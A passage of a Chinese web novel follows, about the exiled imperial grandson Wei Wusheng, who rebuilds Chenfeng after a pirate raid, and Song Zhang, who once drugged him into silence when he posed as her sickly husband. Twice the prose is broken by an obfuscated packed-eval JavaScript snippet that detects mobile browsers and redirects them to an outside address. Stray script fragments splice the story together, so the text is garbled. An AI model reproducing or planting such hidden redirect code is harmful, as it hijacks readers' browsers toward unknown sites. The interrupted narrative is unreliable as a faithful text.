“陈丰本是亡父旧地,蒙陛下厚恩,忝颜偏居于此。陈丰遭难,救人本是无笙份内之事,实在不敢担当诸位大礼。” 这位年轻的郎君刚刚才平定完战事,脸上带着掩不住的疲倦,此刻见父老跪拜于地,连忙上前屈膝扶起。这让在座众人不由得对他更生好感。 魏无笙和颜悦色,吩咐了下人看茶,一面道:“衣冠不整,本不该如此拜见诸位长辈,只是那贼寇还在东流县城有些残兵,埋伏城中,欺压百姓,我昨夜带兵前往平贼,所以来迟,诸位莫怪。” “怎会,怎会。那这么说,那些寇贼都被驱除出去了?” “杀的杀,逃的逃,犯我子民者,焉能姑息。那头目的首级已悬挂于城门之上示警,料得三年之内,倭寇不敢再犯。” 众人闻言放下心来,都感叹这少年的英勇。 “战事是平定了,只是城池已毁,寇贼烧杀抢掠,百姓损伤甚多。” 魏无笙看了一眼众人,面色似带感佩,“按说这事本该与陈丰官员商议,只是一郡之中,大小官员都惨遭屠戮。许多名门富户为避祸患,纷纷逃窜,犹如狐鼠。” 说到这里,众人的目光纷纷移向了别处,略有些不自在。 魏无笙继续道:“唯有诸位贤长,大敌当前,不躲不避,坚守家园,暂护得一方百姓平安,使城池不至沦陷敌手。如此担当如此大勇,无笙敬佩不已。所以思来想去,这后续郡中的重建工作也唯赖各位相助。” 众人又纷纷抬起了头,四目相对,尴尬地笑了笑。天知道他们不是不想跑,这时候的船只贵比黄金,他们是跑不起,所以留在了这里。 听了魏无笙这番高帽,也知道不得不出点血了。于是,众人纷纷道:“三郎说的有理,我愿意出白金一百。” “我出二百两。”“我五十两......” “我出五百两。” 一道声音从人群中传出,魏无笙和众人都看向了坐在角落的那人。却是个美髯相公。 众人晓得他,城东的王秀才,自小天资出众,小小年纪中了秀才。可是之后却一直应试不第,直蹉跎到四十年华。幸而家中有个贤妻操持,靠着一家裁缝铺,十几亩田地收租,小有薄资。 可是五百两,那可抵得上他的全部身家了。 魏无笙看了身侧的李裕一眼,李裕便走下厅来,将纸笔一一送到众人面前,写下名册。而后便散了场。 出门时众人聚在一块儿议论着,痛惜自己散出去的钱财。更兼议论上了那五百两。 “五百两啊,老王头还没我家富余呢,平日过得紧紧巴巴,怎么今日一下舍出去这么多。” 与王勉相熟的田老翁低声提醒道:“哎,王相公,你有这么多钱吗?别把棺材本都搭进去了,你家孩儿还要吃饭的。” 王勉只是笑笑,“田老,你可知道三郎是什么人?” 田老翁道:“怎么不知道,废太子的血脉,当年的小皇孙嘛。可是王相公,那都是几十年前了。太子当年私自结交雁王,意图谋反,被陛下当即诛杀。这位小皇孙也被安排在这偏远的陈丰,无人问津。你烧他的冷灶,恐怕是烧错了。” 王勉道:“陈丰大小官员都死了,这魏三郎如今占了陈丰,解了围困,此事震惊朝野。若在这关口多出些钱钞,挣个头名,焉知不能上达天听呢?我观魏三郎非池中物,你看着吧,陈丰这块地方,说不准就落到他手里了。” 陈丰郡当年是废太子的封地,太子虽被诛杀,妻儿尚在。皇帝当年也并没有收回这块地方,也没有说给谁,这么一直搁置着,众人默认是留给小皇孙承袭。但太子亡故时皇孙尚且年幼,梁王便代为监管。如果没有这场祸事,魏三郎恐怕早就被众人遗忘,抛之脑后。 自然,这都是男子们的想法。尚在陈乌府中被关押的那些贵妇见了魏无笙只觉神兵天降,仰慕不已。 “魏三郎生得也太好看了吧,你看看那腰,那眼睛,那鼻子......” “还有那嘴!比我家夫君好看太多了!” “而且人还温柔。要是他作贼寇,万不得已去伴上一夜倒也没那么可怕了。” 宋璋在一旁听着,默默无语。自从魏无笙赶走了倭寇,主持着陈丰的大小事务,没有一人不夸赞敬佩的。他待人宽和,谦恭有礼,给横死的百姓出钱安葬,帮助他们修筑房屋。给失去男丁的家庭发放米粮钱财。 他手下的士兵亲自帮百姓搭手砍柴挑水,刨坑埋尸,个个满面笑容,亲切热情,无一仗势凌人之辈。 见微知著,陈丰的百姓视魏无笙这个空降临时官简直如神仙菩萨。人人都赞他,喜他。 可唯有她,每每见到他那温和如玉的面庞,那春风细雨的笑容,她就浑身起鸡皮疙瘩。 是,他是可能爱民如子,温柔和善。 可唯独对她,她不抱有这个妄念,她确定以及肯定,对她而言,魏无笙就像一条伪装成人的毒蛇。一旦她放松警惕,众人都散去的时候,他就会现出原形,张开血盆巨口,用最尖利的獠牙狠狠咬下她的骨肉,嚼碎咬烂,拆吃入腹。 她一点儿也不想待在这,对于这些女人而言,这是整个陈丰最安全的地方,但对她而言,这和贼窝也没什么区别了。她得尽快离开这里,以最不起眼,最无人注意的方式,像一条虫一样贴着墙根地面爬出去。 然而怕什么来什么,她正想着不要再见到那张脸,便见魏无笙和李裕走了进来。 沐浴过后,他脱去了那身盔甲,换上了一件月白湖蓝底的衫子,宽衣大袖,窄腰长肩,走起路来环佩作响。 他端端正正地给众女行了一个礼,对众人温柔一笑。 “饭食粗陋,不知诸位娘子口味,可还用的惯?” 众人都是已为人妇的,此时听了这一问,见了这一笑,却不由得脸红羞怯起来。“郎君美意,无不周到的。” “那就好。贼寇作乱,让诸位娘子受惊。今已送信往诸位家中报知平安,车马也已安顿好,我的人即刻便送各位娘子回去。” 众人听说要走,当即露出喜色,“多谢郎君,郎君大恩,妾与夫君铭记于心。日后若有用的着的地方,郎君只管找我,赴汤蹈火,在所不辞。” 魏无笙道了声客气,知他们归心似箭,因亲送了他们出门上车,又命护卫跟随。 宋璋跟在众人身后,全程低着头,眼见着三人一个接一个上了马,她心中狂喜,大大松了一口气。快走,快走,快走! 然而上一个妇人刚进去,她正提了裙摆要走,一双手拦在了她面前。 魏无笙低沉轻柔的声音从耳边传来:“三位娘子都是陈丰本户,家人也都已返回。宋娘子家在东流,余寇未平,又还没有联系到娘子的亲友,所以还请娘子稍留几日。” 宋璋扯出了一个笑容,“没关系,郎君把我放在城门口便是,我自会出城回家。” 说着,她一只脚已经踩上了马车,车内妇人正要掀开帘子伸手拉她,又听魏无笙道:“陈丰重建事宜繁多,在下人手不足,东流与其他三位娘子方向相反,一来二去,恐怕耽搁功夫。娘子不必担忧,不过晚上一二日罢了,娘子现在回去也是危险,在下也不能放心啊。” 那妇人闻言默默收回了手,三人对视一眼,劝道:“是啊,宋娘子,你一个人回去多危险呐。这倭寇是走了,可山匪盗徒,这时候趁乱入户,那多的是呢。不如多呆些日子,等你夫君回来,再走不迟。” “是啊,是啊,整个陈丰没有比魏郎君这里更安全的了。” 宋璋还要开口说什么,另一人顺势便和魏无笙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话一出,李裕看二人的眼神更暧昧了,这气氛、这对话,他一定以及肯定,这两人...有鬼。 然而宋璋对这份体贴却颇为惊慌,活见鬼似的,听了这话一口汤呛在了喉咙,咳了起来。 魏无笙拿出帕子试图替她擦拭唇边的汤渍,宋璋避开他咳了两下,猛灌了两口茶水,这才平复下来。 男子似乎是嘲弄地笑了一声,“怎么,宋娘子是做了亏心事,怕我在汤里下毒?” 她的确怀疑他不怀好意,但在人家的地盘上,这话倒是不敢说。 “怎会,只是妾为人妇,男女有别,恐污了郎君清誉。” 好歹李裕还在这里,她想借机提醒他,她也不是能随意揉捏的软面团。 魏无笙闻言嗤笑一声,将那帕子收了回来,明明没有碰到,却还是一根一根擦了擦自己的手指,好像方才沾到了什么脏东西似的。 “多亏宋娘子提醒,我倒是忘了,娘子是成了亲的人了。” 他看了看李裕,李裕便将那本写着众人居所的册子拿了过来,魏无笙翻到了写着宋璋名字的那一页。 娟秀的小字整整齐齐排列着,籍贯、居所、夫家名姓,都很清楚。只是仔细看去,那簪花小楷压抑着的字里行间仍不难看出恣意随性之笔调。 “陈丰郡东流县新安街五桥巷舒宅,夫玄礼......” 他念最后三字时格外地缓慢,语调耐人寻味,似喜非喜。 “舒家,舒玄礼......魏无笙念着上面的字,勾了勾嘴角,眼中晦暗不明。 他缓缓抬起头,将那册子拍在了案边,那一双熟悉的眸子朝她看了过来。幽深、漆黑,像夜幕中郊野的鬼火,随着凄风翻腾枯草摇动,带着万千坟茔的怨怒,朝她扑了过来。 她怔怔看着他,整个身体猛然一抖。 他盯着她,开口道,“璋姐,当年那般狠心丢了我,就是为了嫁给他啊?” 35. 过去的另一版本 在宋璋最初的回忆中,这还是一个让她觉得稍温暖的称呼。 她来到陈家的最初,陈夫人对她并不好,动辄打骂,拿她当奴仆使唤。她每天的工作就是在一个狭窄的房间里围着陈宝打转。 陈宝是个病痨鬼,整个骨头都是松软的,他躺在床上一动不能动。吃饭、喝水、喝药,松筋骨都是她来帮忙。夜里他们睡在一张床上,她倒也没太介意——反正他做不了什么。 其实除了身体,陈宝和一般的男孩儿没有什么区别,只是更呆滞,更绵软一些。他没有媳妇这个概念,只知道她是他娘买来给他冲喜的人,但是他也并没有把她当奴仆。 宋璋想要去学堂上学,所有人都反对,还是陈宝哭了半天,不肯吃饭不肯喝药,陈夫人拿他没办法,所以才允许了她去。 一天的时间里,她大半都在学堂,她去上学不是为了别的,就是为了找个新的出路。陈宝是好拿捏,但是他的身体不好,朝不保夕不说,要个孩子恐怕也困难。等他一死,不消说她也想得到自己在陈家的处境。 后来她认识了舒玄礼,她回家的大半精力又分了一半出来,她忙着与他周旋应对,忙着想办法让他喜欢上自己。 她年级尚小,这种把戏自然瞒不过陈夫人,更别说有陈家几个姐妹告状挑拨。她们在学堂里处处为难,撕烂她的书,折断她的笔,伙同其他姑娘一块儿欺负她…… “你这死丫头,别以为我不知道你打的是什么主意。你个丧门星,没爹没娘教养的,怎么就不知道廉耻,敢背着我儿勾引人!” 陈夫人一边打她,一边骂着。 她伤痕累累地回去,陈宝躺在床上睡得正香,丫鬟正一下一下地轻轻打着扇子。 她看了一眼,预备往外间榻上躺着,陈宝却已听见她的动作,醒来挥了挥手让丫鬟下去。 “璋姐,你回来了。我想吃你做的莲子玉兰汤。” 陈家不是没有下人,可是自从他来,陈宝就不喜欢别人服侍。从穿衣吃饭到日常说话,他都只喜欢黏着她一个人。 若在平时,她也乐在其中,毕竟越是无可替代,她在这家的日子也越能好过些。 可是今日,她感到万分疲倦。脚下的步子似绑了两个百斤的麻袋,胳膊稍动一下就一阵酸痛从骨缝里钻出。她满脑的热意无法发散出去,她很想拒绝他。 可是她知道不行,现在还不到时候。在舒玄礼确定接她入门之前,她还得忍。 忍着浑身的疼痛,忍着脑袋里的燥热,她走到了小厨房,亲自将莲子洗净玉兰泡发,打着扇子煮熟盛好,然后端到陈宝面前。 然而他只是吃了几口就对她摆了摆手,“我吃饱了。” 宋璋只得又给他擦了嘴,打来热水给他擦手泡脚,一切做完之后,抚着他的背躺下。 已经到了后半夜,蜡烛烧得只剩半截,横哭竖涕瘫在烛台边。 宋璋自己洗漱完,深深呼了一口气。坐在桌前,拿出了自己的书箱整理着明天要用的东西。忽而,她手上一顿,发现了一样陌生的东西。 一方芍药砚台,一份字帖。是舒玄礼的字迹。 她今日课间砚台被陈进娴弄坏,又因字不好被夫子评点,原来他都看在眼里。 她细细拂拭着那字帖,缓缓将它贴在了面上,闭着眼轻嗅着这味道。淡淡的松香从字里行间溢出,她仿佛能看见他落墨时认真的神情。 舒……玄……礼…… “你在看什么?” 陈宝不知什么时候醒来,睁着一双眼睛定定看着她。 宋璋心中一跳,收起了那字帖。 “先生发下的字帖,他说我的字不好。” “你手里的是千机阁的素麻纸,一张百钱,先生素好节俭,你在撒谎。” 今夜的陈宝似乎有些不同,但宋璋说不出来哪里不同。 “阿宝,你看错了。” 陈宝忽然道,“是那个男人送你的对不对,三姐告诉过我,没想到是真的,你放心,我不会告诉他们的。” 宋璋似乎没什么反应,只是一面淡淡地收拾好东西,一面走到外间去取炉子上热的药。 “阿宝说什么胡话呢?” 她一面端着汤药走来,一面笑着扶他坐起。 “你是做了什么梦了,来,把药喝了。喝了就能好好睡上一觉了。” 陈宝今夜却不肯喝,他扭过头去,“我不喝。” “阿宝乖,不喝晚上会睡不着的。你每天都要喝药,是娘的命令。” “我说了不喝就是不喝。”陈宝把药碗猛然打翻在地,滚烫的药汁落在宋璋受伤的手臂处,她疼得脸色一阵青白。 陈宝瞥见了宋璋那一瞬露出的阴狠之色,但随即她便恢复了笑意,“我知道了,那我给你点上安神香,你好好休息。” 魏无笙当年出游时被杀手暗杀,迫于无奈,换了个假身份在陈家顶替陈宝躲避追杀。也同时派他的人趁机调查清楚。 整个陈家除了陈太夫人,没有人知道他的真实身份。对于宋璋这个姑娘,他看得清楚她的野心,但也没多大所谓。 他故意装作只要她接近,顺理成章推开所有仆人。又放纵她去学堂,这样一来,他也不必整日装着瘫子坐在床上,有了自己的时间,两全其美。 只是近来她为了和那男人出去玩,总是暗暗在他的药里下东西,一时不备,真中了招,睡上一整日,或是头脑发昏,思虑不清。莫名耽误他许多事,他须得敲打敲打她。 他本应对她保持警惕,谁知躺着躺着,他不知不觉间真的睡了过去。 再度睁开眼是被气管里那冰凉的液体呛醒的。 那女孩乌黑柔软的鬓发像一条弯曲的小蛇依偎在他胸前,那张纯洁娴静的脸近在咫尺,她含着温柔的笑望着他。替他用帕子擦去嘴角的药汁。 他浑身陡然一震,全身上下都在呼叫着危险,他张开嘴想说些什么,却趁着这档口,冰冷的瓷碗抵着他的牙将整碗药汁都往里倒。 他胸口剧烈地咳喘起伏,一面咕噜咕噜地求救,他试图抵抗,却发现自己的双手双脚当真一点也动不了。 他瞪大了眼睛看着她,恨不得将这女孩掐死。是他大意了,他低估了这女孩的胆量。 宋璋的嘴角仍旧带着笑,像是布偶上缝起的笑那样,凝固在嘴边。但她的眼神却毫无笑意,墨色的瞳孔中倒映着男孩愤怒的目光,毫无波澜。 魏无笙试图用舌头将这些药顶出去,却被她一把捏住下巴,咕嘟咕嘟全灌了下去。 感受到脸上的钳制一松,他便想大声呼救,却发现自己此刻竟说不出声来,火烧般的炙热从喉间燃起。 是毒!她竟敢对他下毒! 这个毒妇。他要杀了她,他要杀了这个蠢货。 “唔唔……唔唔唔唔唔!” “唔唔唔……” 宋璋端着药碗,坐在床边淡淡地看着陈宝支吾了半天,什么也说不出来,她也听不明白。看着他额角爆出的青筋和发红发烫的脸,她好心地替他擦了擦汗,临走前还掖了掖被角,便带着那哑药的药渣丢进了后院。 小少爷突然之间病情加重,发了一场高热之后便连话也说不出了。陈夫人发了一场大火,将所有照顾他的仆人都责罚了一顿,却依旧挽不回局面。 所有大夫都说,小少爷的身体越来越差了。 宋璋被禁止去了学堂,在家照看陈宝。就在她以为自己失败的时候,就听到舒玄礼派人上门求娶的消息。 那一日,她的心扑通扑通几乎快要从胸腔中跳出来。手里的药碗落在了地上,烫到鞋面也浑然不觉。 陈宝冷冷转过头去,把眼睛一闭。 “阿璋,阿璋?” 丫鬟小环拉了拉她,一边蹲在地上去捡碎片。宋璋反应过来,“对不住,我…我只是……” 小环笑道,“我知道,你是高兴傻了嘛。” 宋璋似乎略有担忧,回看了一眼躺在床上的陈宝,“嘘,小点声。我…我也不知道该高兴还是不高兴。” 小环道,“自然是该高兴了!”她低声道,“你还真打算一辈子伺候阿宝啊,他这病越来越不好了,恐怕活不长。这会儿不给自己找好出路还等什么。” “也不好这么说,大夫说只要每天吃药,阿宝的病是会好的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15063835|162913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小环撇了撇嘴,“阿宝的脾气最近越来越大了,你看你,每天勤勤恳恳伺候着,不是呜哇呜哇地乱叫就是给你脸色看。还不肯喝药,这都打翻多少回了。 就这么着,哪能好的起来?” 宋璋低下头没说什么,似乎有些难过。“他发了那一场热,烧坏了嗓子,连话也说不出了。总归是我没照顾好他,怎么怨我也是应该的。” “你呀……你把他当个夫弟看,他们可没把你当媳妇瞧。快别心疼他了,心疼心疼你自己吧。” 小环拿过冷茶水给宋璋的手冲了冲,“这么着还不够,你赶快去擦点药来,免得燎了泡。” 宋璋想了想,叹了口气,“那好吧,阿宝也不喜欢我去。那我去厨房再倒些药来,你替我喂了他喝下。” “欸,放心交给我吧。” 因为那日是小环喂的药,陈宝没有防备,尽数喝了下去。 宋璋粗识得一些药理,从她被卖到陈家,与舒玄礼牵上线搭上桥的那日起,她就预备着给陈宝下药。他的精力太过旺盛,她一回来不是要这个就是要那个。而且她总是感觉睡着之后还有一双眼睛盯着自己。 要放心地和舒玄礼来往,只有让陈宝安分一些,也让陈夫人满意一些。 他喜欢吃莲子玉兰汤,暑天冰镇去火,冬日暖脾养身,隔三差五就要炖上一盅。她没蠢到在陈家请来的大夫下的药方里动什么手脚,只是在汤里加了些和他喝的药相冲的东西,让他的身体变得更加虚弱,催化他的病情而已。 可是没想到她从陈家离开,嫁给舒玄礼的第一日,就听闻陈宝突发急症病死的消息。她那几日常作噩梦,梦见陈宝找她索命,质问她为什么要害他。 后来年深日久,她几乎已经忘记了这个人。却不想在今日,在这样的场景下见到他…… 她深吸了一口气,硬着头皮假装不知,“郎君认错人了吧,妾身实在不知道郎君说的是谁?也从未见过郎君。” 此话一出,便听得那头忽然传来一阵笑声。李裕也笑着,挨了魏无笙一记白眼,收起了幸灾乐祸的目光。 “得,得,我走,我走。” 像是丢了母鸡的小鸡仔,宋璋眼巴巴看着,跟着就要起身。 “李郎君,夜已深了,妾也要回去了。” “宋璋,还要装聋作哑到什么时候?”魏无笙似是没了耐心,此刻全然不复笑意,冷冷地望着她,抓住了她的手臂。 像是被火灼烧了一般,她立刻要甩开他的手,“魏郎君,我实在不认得你。我已有婚配,你一而再再而三纠缠,如今更是这般无礼,难道在人前的端方都是作伪不成?” “已有婚配?”魏无笙道,“你另嫁他人,可曾经过我的同意,可曾听过我一声答应?” 他轻笑一声,语带讥讽,“是,不过我也说不出话来了。拜你所赐,出嫁那日,一碗毒药毒死了陈家六郎,死人嘴里,自然说不出话来。” “我没想过害你性命,那天小环送去的药只是加了些安神散罢了!” 宋璋忍不住反驳,魏无笙像是踩住了狐狸尾巴,挑眉冷笑。 宋璋自知失言,移开目光。 “不装了?”魏无笙道,“因果报应,循环不爽。璋姐,没想过有落在我手里的一天吧?” 听到这个称呼,她就忍不住闪现过去的那些破旧的回忆。她皱了皱眉,忍不住道,“你不是陈宝。” 她言外之意,不该再喊她那个称呼。 “我自然不是,如果是他,在夫人的手下过日子,我早就死了八百回了。” “那你又是谁,纠结这些前尘往事,又到底想要做什么?” 宋璋有些不耐起来。 魏无笙看了一眼在一旁看热闹的李裕,李裕会意,清了清嗓子,“故太子嫡长子,魏氏宗亲无笙。田宅万亩,精舍万千。” 魏无笙放在她胳膊上的手逐渐抓紧,“于你而言是前尘往事,于我而言却是致命毒药,难忘得很呐。” “至于我想做什么……” 他慢慢低下头,垂眸看着眼前眼神飘忽的女子,“宋璋,像从前一样,我要你做我的奴仆。” 36. 我要当县主 宋璋醒来时做的第一件事就是查看自己的双手和双脚,又照了镜子,全身上下没有什么受伤的地方。她努力想回忆起昨天的事情,记忆骤然浮现在眼前。她偷听到那个魏无笙的秘密,然后他想杀了她,再然后...... 她感到左眼球一阵爆裂的疼痛,像是要从眼眶里掉出来一般,她掌心覆住眼睛,另一只手撑在了桌上。 阿宽进来的时候见到宋璋似乎扶额,身体不适,忙放下食盒向她走来,“宋娘子,你头疼啊?我带你去找郎君吧。” 他记得昨日宋璋托他的话,她想出门买药。 宋璋一听说魏无笙的名字下意识要拒绝,又想了想,答应了阿宽。她简单用过饭后随着阿宽一道去了魏无笙的住处。 屋里没有人,隔着一扇屏风,前厅传来众人议事的声音。 “五十、八十、一百、三百、八十......一千三......不是有个大豪绅说是要捐一千两的,怎么就这么点?” 那人的声音似有些为难,“他...他说他没钱。” 李裕的声音高昂起来,“没钱?昨日在外募捐的时候他夸下海口挣足了面子,今日上门收钱了跟我说没钱?” “我看那人是真没钱,不是哄我们的。我们到他家时他就住在临城郊的草屋里,身上穿的衣裳好几个补丁,破破烂烂的。不过他说,虽然他没有现银,但他有一件宝物要献给郎君,价值千金。” 李裕冷哼了一声,“他以为自己是刘邦还是项羽,戏可真多。行,你把他带过来,我倒要看看这人葫芦里卖的什么药。” 脚步声响起,阿宽正要上前回禀,便听魏无笙淡淡道:“还没听够吗?” 宋璋垂下眸子,随着阿宽一道从后面走了出来。 “郎君,宋娘子昨日犯了心疾,想要出门抓些药。” 魏无笙看向了宋璋,语气带着怀疑,“你有心疾?叫府医来看看就是。” “从前落下的毛病,大夫也开过方子照着抓就是了,若寻府医来也还是要出门买药的。” “那你写张方子叫他去买。” “魏郎君这是要把我当犯人关在这了?” 阿宽猛地咳嗽了两声,李裕出言缓解道:“宋娘子误会了,这不是等明日我们处理完这些事就找人带你回东流去吗?三郎是为了你的安全着想。” “是吗?是为了我的安全着想,还是你们别有所图?” 阿宽看着那温温柔柔的小娘子突然对自家郎君冷脸相对,恶语相向,又回想起昨日半夜巡夜时撞见郎君将她抱回另一处房间的情景,他的内心突然浮现出某些不好的联想。这宋娘子貌美,难道是昨夜郎君一时气了色心要对她做些什么...... 看着阿宽变幻莫测的神色,李裕清了清嗓子,拍着阿宽的肩膀,“搭把手,把这箱银子搬出去。一会儿下午在禅心寺开仓放粮。” “可是......”“没什么可是,走吧走吧。” 屋内只剩下宋璋和魏无笙两个人了,她再次重复了一遍方才的话,“我是听到了你昨天说的话,你不杀我留着我的命,一定是因我身上有利可图,所以要什么你尽管开口,相应的,我也会开出我的条件,我们做完这笔交易,从此两清,你也不必担心我出去暴露你的秘密,魏郎君,你觉得呢?” “你的条件是什么?” “帮我找一个人。” “那个姓舒的?” 宋璋道:“他叫舒玄礼,东流县新桥街白鱼巷人,倭寇进城那日与我婆母沈氏逃了出去,如果他回来了就送我回家,如果没有,劳烦郎君帮我将他找回。” 魏无笙笑意中多了几丝轻蔑,“你知道我要什么吗?就用这个交换,未免吃亏了些。” 宋璋也暗自轻笑,继而道:“不劳郎君挂心,不论你要什么,我都不吃亏。” “我要你的左眼。” 宋璋想了想,“那枚妖丹已经碎了,对你无用。亦或是魏郎君也想以色事人,其实依郎君的皮相倒也没必要。” 她说着,带了些许调侃。 魏无笙冷冷道,“我要做什么与你不相干,你犹犹豫豫,看来那个姓舒的在你眼里也不值这个价。” 宋璋的确有些犹豫,她的眼睛……今早起来就已经感到异常疼痛,如果魏无笙取走她的眼睛…… “我不答应,你自来杀了我好了。” 魏无笙没料到她是这种态度,毕竟前一天还战战兢兢,生怕他对她做什么,现在却像变了一个人,硬气起来了。 宋璋面上硬气着,其实心里也打着鼓。既然直接杀掉她就能取走她的眼睛,魏无笙势力大,完全可以直接对她下手。现在却跟她谈起条件来,说明这其中必定没那么简单,是需要她才能完成的关窍。 仅仅给舒玄礼递个信,就要了她的眼睛,她又不是傻子。 魏无笙冷着脸朝她走了过去,作势要拔出剑来,宋璋却当真一脸不怕死地瞪着他。末了,舒玄礼气笑了,“好,你倒不怕死。那这样,我要你自愿把眼睛给我,条件任由你开。” “我要东流做封地,我要当县主。” “好。” 舒玄礼直接应下来也让宋璋吃了一惊,“好,那你现在就给我册封诏书。” “现在不行,将来可以。”魏无笙道。 宋璋无语,“那我也是这个回答,什么时候给我,什么时候给你。” “宋璋,你是真以为我拿你没办法了是吗?” 见她越发不客气起来,魏无笙觉得她像是拿住了他的短处,一个劲儿地挑衅。 宋璋没做声,但那态度显然是吃定了他。 魏无笙沉默了一会儿,忽然当真抬眼盯着她拔出剑来,那目光吓了宋璋一跳,她觉得他当真要杀她的那一刻,她刚要开口求饶就听李裕带着人走了进来。 “三郎,三郎,人给你带到了。你……” “你做什么呢?”李裕刚走进厅中就见魏无笙提着剑一副要杀人的模样,宋璋则瞪大了眼睛,满眼惊恐。 他心中暗道不好,走上前硬生生拉过魏无笙的手狠狠瞪了他一眼,不是让他好好跟人家说,要哄着人家吗,魏无笙这厮倒好,又动上刀枪了,这莽夫! 有人唱红脸就只好他来唱这个白脸,他推过魏无笙,拦在了他和宋璋面前,讪讪笑道,“宋娘子别跟他一般见识,我叫阿宽带你回去,若想出门也只管出去就是。” 李裕对阿宽使了个眼色,阿宽便上前来引宋璋离开,经过魏无笙时不忘偷偷瞥了他一眼。 宋璋跟着阿宽离开,走出门时就看见门口站着的一个衣着寒酸的男人,见了她目光打量,对她笑了笑。 “王郎君,请。” 侍从将王冕请进了厅内,王冕站立厅中,李裕和魏无笙便迅速将他打量了一遍。 一双沾满灰土的鞋,底部有些迸裂掉渣,虽然特意打扮过,也只是一身浆洗得发硬的布衣,肩膀浑圆,身体瘦削,有一些驼背。 见了魏无笙,他深深作了一个礼,倒是让魏无笙有些意外。分明像个做苦力的平民,却形容大方,守礼有节。 这人看着比他大上十来岁,因而魏无笙称呼道,“王郎君,你先前说要捐一千两银给陈丰,后来又说没有,究竟是有什么宝贝要献上呢?” 王冕道,“正是在下。” 魏无笙笑了笑,“不知郎君有何才略?” 王冕看了看四周,厅上几案上摆着一支细竹羊毫笔,他拿起它,“借郎君此物一用。” 魏无笙做了个请的手势,姿势还没放下便听一阵风过,嗖得一声,方才那支笔像钉子一样钉在了魏无笙身后的那架屏围上,只露出半截笔头。 魏无笙和李裕对视了一眼,惊喜道,“郎君好身手啊,不知现下在何处高就?” “鄙人曾在丰都将军帐下做参军,只是那年将军与南蛮作战,战败被俘,陛下降罪,我等也丢了官职。现在在码头做些搬扛的力气活,聊以为生罢了。” “为何不再投他处?”李裕想,这等人才到哪都是有人要的,他竟空废了一身本领,在码头做工。 “这便说来话长了。我家素来贫寒,后蒙圣恩中了个武举,却也因无门可投四处碰壁。幸得昔日同年姚术举荐,到了丰都将军帐下。 那次我劝说过将军,南蛮狡猾,是诱敌深入之计,将军不听,一意孤行。军令不可违,我和姚术引着大队人马追逐南蛮一小支军队而去,结果全军覆没。姚术被南蛮捉了去,我因先有防备,侥幸逃脱。 回到家中,收到姚术来信,说那南蛮非要一千两才肯放人。他在南蛮受尽折磨,我忧心不已,夜不能寐,于是在南蛮邻近的陈丰做工,十年下来也只攒够了七百两,又被倭寇抢去一半,听闻郎君仁德高义,实在没了办法,故来投奔。若郎君不嫌弃,愿为郎君驱使。” 丰都将军蒋捷,魏无笙在李明德那里听说过他的名号,当年在他父亲还活着的时候也是一员猛将,可惜后来年纪渐长,刚愎自用,人也糊涂起来。不过他帐下的年轻将领却都是难得的将才。王冕能在他手下为参军,想来不只武艺高强,于军事谋略也是不差的。 他的府中谋士多,将才少,正缺这样的人才。何况此人为了救朋友,沦落至此,可谓义薄云天,此人也值得信任。 于是魏无笙当即命李裕拿出一千两银票递给王冕,“王郎君如此本领,我求之不得。不知郎君的朋友在何处?我也可随你一道打通关节,护卫你去南蛮。” 王冕听闻魏无笙答应,欣喜非常,“就在安平郡东边的蛮子山上,郎君何时可以动身?还有,我只要六百五十两,这些银子我日后定会慢慢还与您。” 魏无笙道,“不妨事,你既投奔我而来,便是我的家人。王郎君的朋友就是我的朋友,区区小事不必挂齿。” “至于动身……暂且先不急,等朝廷降旨,新任郡守赴了任,我们便即刻动身。” “多谢郎君。” 王勉走后话李裕便随魏无笙到了厅后居处对坐,李裕问魏无笙,“让你好好哄着宋娘子,你怎么又对人家刀剑相向了?怎么样,你谈妥了吗?” “你怎么说的?” “我说我可以把她送回去,帮她找到那姓舒的,条件是她要把她的眼睛给我。可她狮子大开口,讨要安平郡,还要当郡主。” 李裕有些头疼,“是要她眼中的妖丹,不是要她的眼睛。你这么说,她当然不会答应。” 魏无笙忽而冷冷笑了笑,“不是说是她最珍贵的人吗?原来也不过如此。” 李裕莫名看了他一眼,“你不会还喜欢她吧?” 魏无笙笑意更深了,他没说话,李裕已明白了他的意思,“我就是问问,毕竟你当初还想过把她带回去......”想起那段惨痛的回忆,李裕止住了话头,“过几日我去和她说,她应当能答应。” 不出两日,陈丰郡已经恢复了正常的生产作业,魏无笙对陈丰的帮助让陈丰上下人人称道,在百姓中声望甚高。渐渐,他原本不为人瞩目的皇孙的身份也被众人红抬起来,有了这层身份,行事也越发便宜。 陈丰此次倭寇作乱为周边郡县上报至朝廷时,皇帝这才注意到这个往日被他忽略十几年的皇孙,褒奖的旨意很快降下。因为魏无笙平乱有功,又主持陈丰事务多日,于是被封为陈丰郡公,食邑三千户。 “阿宽,你上哪儿去啊?” 李裕摇着尘尾,笑得眼睛眯成一条缝,一边往后院走,一边和阿宽打招呼。 阿宽想说他手里捧着公文,又往后院走,当然是要去找郎君。不过倒也只在心中腹诽,自家郎君得了陛下亲赏的封地爵位,他们这些人也跟着水涨船高,李裕身为郎君身边的亲信,自然高兴。连往日那假惺惺的笑容此刻也多了实打实的愉快。 阿宽扬了扬手里的公文,“郎君前几日让我找的情报,现在给郎君送过去。” 李裕点点头,穿着那身新做的月白蜀锦文士长袍往另一边走去。 宋璋在这里待了几日,天气忽冷忽热,近些日子忽然出了大太阳。热得她关了窗子拉了帘幕躲在醉翁床上乘凉。李裕提着一篮杏子走了过来,摆在了宋璋面前。 “水井里湃得杏子,又甜又清凉。三郎特意让我带来给宋娘子尝个鲜。” 